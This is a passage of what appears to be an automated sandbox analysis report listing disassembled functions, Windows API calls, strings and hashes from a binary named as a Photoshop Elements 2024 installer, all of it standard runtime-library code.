Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log10$pow$sqrt
API String ID: 3527080286-1781906193
Opcode ID: 90603ed499c283f0d0d22574f292f6989698d29663b464f7bf2fd1d6b827bd31
Instruction ID: a169c67fa5e1ead52a361d8e1ae2905185984d54d613a8f61d4f353c45095fe8
Opcode Fuzzy Hash: 90603ed499c283f0d0d22574f292f6989698d29663b464f7bf2fd1d6b827bd31
Instruction Fuzzy Hash: F9519AB090460ACBCF05AFA8E84C1BDBFB5FF46310F514545E491AB664CBB98A28DF52

Function 00535509 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 255COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00536413: GetLastError.KERNEL32(00000002,00000000,00000006,0051DC92,00000000,00000000,00000002,?,0053C9D9,00000000,00000000,?,00000000,00000002), ref: 00536418
Part of subcall function 00536413: SetLastError.KERNEL32(00000000,00000002,000000FF,?,0053C9D9,00000000,00000000,?,00000000,00000002), ref: 005364B6

_free.LIBCMT ref: 005357F4
_free.LIBCMT ref: 0053580D
_free.LIBCMT ref: 0053584B
_free.LIBCMT ref: 00535854
_free.LIBCMT ref: 00535860

Strings

C, xrefs: 00535665

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: _free$ErrorLast
String ID: C
API String ID: 3291180501-1037565863
Opcode ID: b59b9a4c04e5bddeb2a655a29832c63211a5ede544af84bb5ed44b2de8ef5838
Instruction ID: 78516f2641b0f0ab2831e2c35c5e53640c050288777b3eae524de65b4e3abaad
Opcode Fuzzy Hash: b59b9a4c04e5bddeb2a655a29832c63211a5ede544af84bb5ed44b2de8ef5838
Instruction Fuzzy Hash: AAB14F75901A1ADFDB25DF14C888AADBBB5FF48354F5045A9E84AA7350E730AE90CF40

Function 00512F20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00512F57
___except_validate_context_record.LIBVCRUNTIME ref: 00512F5F
_ValidateLocalCookies.LIBCMT ref: 00512FE8
__IsNonwritableInCurrentImage.LIBCMT ref: 00513013
_ValidateLocalCookies.LIBCMT ref: 00513068

Strings

csm, xrefs: 00512FFD

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 9bc99f4980d279d5050396c8b9db91c71ff9aec0a8fe3ca686775cb482b1e183
Instruction ID: 7388ef95e1bdc7f6dc36be5e2a336ed363bb212f1b35ef4965df21ad74fd4c01
Opcode Fuzzy Hash: 9bc99f4980d279d5050396c8b9db91c71ff9aec0a8fe3ca686775cb482b1e183
Instruction Fuzzy Hash: 1541C234A00219AFDF10DF68C885ADEBFB5BF85314F148555F8159B392C732AAA6CB90

Function 00537BA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

ext-ms-, xrefs: 00537C0B
api-ms-, xrefs: 00537BF7

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 39e9867b7e470e27375217cd79fc6c99c46724e366d44e9032736dd285a75110
Instruction ID: 9384a7973dc448095e855d8d7774587cb9f557a9932a240949a124911e7bab5e
Opcode Fuzzy Hash: 39e9867b7e470e27375217cd79fc6c99c46724e366d44e9032736dd285a75110
Instruction Fuzzy Hash: F321E7B2E0921DABCB3297349C85A1E7F68FF5E770F252911ED16A7290E630DD00D5E0

Function 005403D9 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00540125: _free.LIBCMT ref: 0054014A

_free.LIBCMT ref: 00540427

Part of subcall function 00535D79: RtlFreeHeap.NTDLL(00000000,00000000,?,0054014F,?,00000000,?,?,?,005403F2,?,00000007,?,?,00540897,?), ref: 00535D8F
Part of subcall function 00535D79: GetLastError.KERNEL32(?,?,0054014F,?,00000000,?,?,?,005403F2,?,00000007,?,?,00540897,?,?), ref: 00535DA1

_free.LIBCMT ref: 00540432
_free.LIBCMT ref: 0054043D
_free.LIBCMT ref: 00540491
_free.LIBCMT ref: 0054049C
_free.LIBCMT ref: 005404A7
_free.LIBCMT ref: 005404B2

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 20a2df4b6017b9e4a6bfe9a461f7a4993f2dabf9da2ba4bb45b6a73952bab12d
Instruction ID: 55f9f92144ebf0c8905cda6607de98155d27f39e3f4dc1fc9e0caa4d35ec71f7
Opcode Fuzzy Hash: 20a2df4b6017b9e4a6bfe9a461f7a4993f2dabf9da2ba4bb45b6a73952bab12d
Instruction Fuzzy Hash: A7110076540F09B6D624BBB0CC4FFCB7FACBF84714F506C19B39BA6092E675A5048690

Function 0053A88F Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(00000000,?,?), ref: 0053A8D7
__fassign.LIBCMT ref: 0053AABC
__fassign.LIBCMT ref: 0053AAD9
WriteFile.KERNEL32(?,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0053AB21
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0053AB61
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 0053AC09

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: 964471be2a7264f5819afdc63e699fc24df574edfcbf6ff6c81d1ea7a818e49c
Instruction ID: 598bb7f73885e8fddf70ad31b75994cea354d96fd6d3f7618881849de6865b50
Opcode Fuzzy Hash: 964471be2a7264f5819afdc63e699fc24df574edfcbf6ff6c81d1ea7a818e49c
Instruction Fuzzy Hash: 46C1BB75D002999FCB14CFA8C8909EDBFB5BF49314F28816AE895FB242D6319D42CF60

Function 0027D300 Relevance: 9.1, APIs: 6, Instructions: 139COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0027D34C
std::_Lockit::_Lockit.LIBCPMT ref: 0027D36E
std::_Lockit::~_Lockit.LIBCPMT ref: 0027D38E
__Getctype.LIBCPMT ref: 0027D437
std::_Facet_Register.LIBCPMT ref: 0027D484
std::_Lockit::~_Lockit.LIBCPMT ref: 0027D49C

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeRegister
String ID:
API String ID: 1102183713-0
Opcode ID: 52d25650e61769bfc6b3b2543d4ae95d58576ce765a51b1c149c2edd073bb319
Instruction ID: 93f74fda10ce53640a73d22acfbb0b72473a8f90e7618342498c178d604293d8
Opcode Fuzzy Hash: 52d25650e61769bfc6b3b2543d4ae95d58576ce765a51b1c149c2edd073bb319
Instruction Fuzzy Hash: F551A1B1D107168FDB20DF54D841BAEBBB4FF48310F149669E849AB292E730B985CB91

Function 00210A70 Relevance: 9.1, APIs: 6, Instructions: 127COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00210AB9
std::_Lockit::_Lockit.LIBCPMT ref: 00210ADB
std::_Lockit::~_Lockit.LIBCPMT ref: 00210AFB
__Getctype.LIBCPMT ref: 00210BA1
std::_Facet_Register.LIBCPMT ref: 00210BC0
std::_Lockit::~_Lockit.LIBCPMT ref: 00210BD8

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeRegister
String ID:
API String ID: 1102183713-0
Opcode ID: ce01bd0f86f069a4099347263f28979d3b864c2833dabb26c97de9fa6560d120
Instruction ID: 6b8adcfd3fe4e8031b67baa62052dea6b50b719a47a894a4c9fbceac7267c014
Opcode Fuzzy Hash: ce01bd0f86f069a4099347263f28979d3b864c2833dabb26c97de9fa6560d120
Instruction Fuzzy Hash: 7851AFB1D1420ACBDB10DF54D881BAEBBF4FB58718F144269D805A7281DB70BE91CB91

Function 003EEA70 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 84COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,00222CC0,003ECFBB,?,Terminate channel), ref: 003EEAE7
CloseHandle.KERNEL32(00000000,?,00222CC0,003ECFBB,?,Terminate channel), ref: 003EEB67

Strings

CommBridge, xrefs: 003EEA9A, 003EEAC7, 003EEB1A, 003EEB47
Closing inPipe %p, xrefs: 003EEB0B, 003EEB42
Closing outPipe %p, xrefs: 003EEA8B, 003EEAC2
OOBEUtils, xrefs: 003EEA9F, 003EEB1F

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: CloseHandle
String ID: Closing inPipe %p$Closing outPipe %p$CommBridge$OOBEUtils
API String ID: 2962429428-1143323105
Opcode ID: fe225fb550eaef699e5f86750ba465ad805333bcb8bac640325651cd6a1283b5
Instruction ID: e3359ca4d35adda497539fbb3882b959626e693782c86280b47d76f7c2c1420b
Opcode Fuzzy Hash: fe225fb550eaef699e5f86750ba465ad805333bcb8bac640325651cd6a1283b5
Instruction Fuzzy Hash: 2821D170B807616FDB16AB299C16F1B7A56BF01B10F06431DF802B76E1C7A0AD01DBD2

Function 003F0DD0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 70synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,00401F8E,000000FF,000000FF), ref: 003F0E67
ResetEvent.KERNEL32(?,?,00401F8E,000000FF,000000FF), ref: 003F0E7E

Strings

NULL OOBE_Event_t object passed in WaitforEvent , xrefs: 003F0DE8, 003F0E26
OOBEEvents, xrefs: 003F0DF7, 003F0E2B
OOBEUtils, xrefs: 003F0DFC

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: EventObjectResetSingleWait
String ID: NULL OOBE_Event_t object passed in WaitforEvent $OOBEEvents$OOBEUtils
API String ID: 3162950495-832234452
Opcode ID: 984e0f49439405d37d78a375bc338bf08fdb7a8d896c963fdd28fc866834a8dc
Instruction ID: 428eace95ca1f262485765cdccfcc3d00d8878ddd83e0b66c263ac5752d7c7ff
Opcode Fuzzy Hash: 984e0f49439405d37d78a375bc338bf08fdb7a8d896c963fdd28fc866834a8dc
Instruction Fuzzy Hash: 1F112332B806186FEB206B5CEC47AAA7789EB11B20F454769F858E72D1C6A29D0086C0

Function 0053124A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,005311FC,?,?,005311C4,?,00000000,?), ref: 0053125F
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00531272
FreeLibrary.KERNEL32(00000000,?,?,005311FC,?,?,005311C4,?,00000000,?), ref: 00531295

Strings

CorExitProcess, xrefs: 0053126A
mscoree.dll, xrefs: 00531258

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 19b26d40ffd5373eda344785a874a1fed92976a0c6e54bb4f155e03cf16a6768
Instruction ID: b10c38b423c489133a275c4a5086d280b25a710946e7df8a73bd5c82a1f0c39a
Opcode Fuzzy Hash: 19b26d40ffd5373eda344785a874a1fed92976a0c6e54bb4f155e03cf16a6768
Instruction Fuzzy Hash: 24F08C34901618FFCB129BA9EC0EB9E7FB9FB01752F000160F401E21A0CB708F04EA94

Function 0053507E Relevance: 7.7, APIs: 5, Instructions: 186COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00535DB3: RtlAllocateHeap.NTDLL(00000000,00000018,00000018), ref: 00535DE5

_free.LIBCMT ref: 0053518D
_free.LIBCMT ref: 005351A4
_free.LIBCMT ref: 005351C1
_free.LIBCMT ref: 005351DC
_free.LIBCMT ref: 005351F3

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: 1ca0013a0d401a3f1c78fd955fc5e4322fcbdb6e4bd60b9a7b9c92a489124898
Instruction ID: e5eae5c4fbf36a5a43b539830f3049c62372bbf48258d4c2ed58bb5f8676cc15
Opcode Fuzzy Hash: 1ca0013a0d401a3f1c78fd955fc5e4322fcbdb6e4bd60b9a7b9c92a489124898
Instruction Fuzzy Hash: 5051AE72A00B05AFDB219F69DC41B6ABBF5FF98720F141569E846D7290F731EA41CB80

Function 002B74F0 Relevance: 7.6, APIs: 5, Instructions: 110COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 002B7526
std::_Lockit::_Lockit.LIBCPMT ref: 002B7548
std::_Lockit::~_Lockit.LIBCPMT ref: 002B7568
std::_Facet_Register.LIBCPMT ref: 002B760D
std::_Lockit::~_Lockit.LIBCPMT ref: 002B7625

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: a5f6768e2a5ebf67ab3d07efa92fbbc17e7d275c5ba6421990ccdf1775fdc3d9
Instruction ID: c9e0b4f772323b667091776bff46ca1c76dfad8db261ec47ec0e6bb8c8ec4749
Opcode Fuzzy Hash: a5f6768e2a5ebf67ab3d07efa92fbbc17e7d275c5ba6421990ccdf1775fdc3d9
Instruction Fuzzy Hash: CA41B071A15216CFCB20CF98D995BAEBBB4FF84750F14455AE806AB381DB30ED05CB90

Function 0027CFD0 Relevance: 7.6, APIs: 5, Instructions: 110COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0027D006
std::_Lockit::_Lockit.LIBCPMT ref: 0027D028
std::_Lockit::~_Lockit.LIBCPMT ref: 0027D048
std::_Facet_Register.LIBCPMT ref: 0027D0ED
std::_Lockit::~_Lockit.LIBCPMT ref: 0027D105

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 92c48f693db88d3b9ea983bd35f85ade8b92b7ef6d7586ba3d64e88db9eecc14
Instruction ID: c3a9455e4a875f84fa8c19f17439b47b8bc48a57462713b2aef09f4a1bc59a9b
Opcode Fuzzy Hash: 92c48f693db88d3b9ea983bd35f85ade8b92b7ef6d7586ba3d64e88db9eecc14
Instruction Fuzzy Hash: FD41E171A01216CFCF14DF94D885BAEBBB4FF44310F14955AE809AB381DB71AD06CB90

Function 003F9300 Relevance: 7.6, APIs: 5, Instructions: 74COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(?), ref: 003F9319
RtlLeaveCriticalSection.NTDLL(?), ref: 003F9342
RtlEnterCriticalSection.NTDLL(00000000), ref: 003F9355
RtlLeaveCriticalSection.NTDLL(00000000), ref: 003F9372
RtlDeleteCriticalSection.NTDLL(?), ref: 003F93A9

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

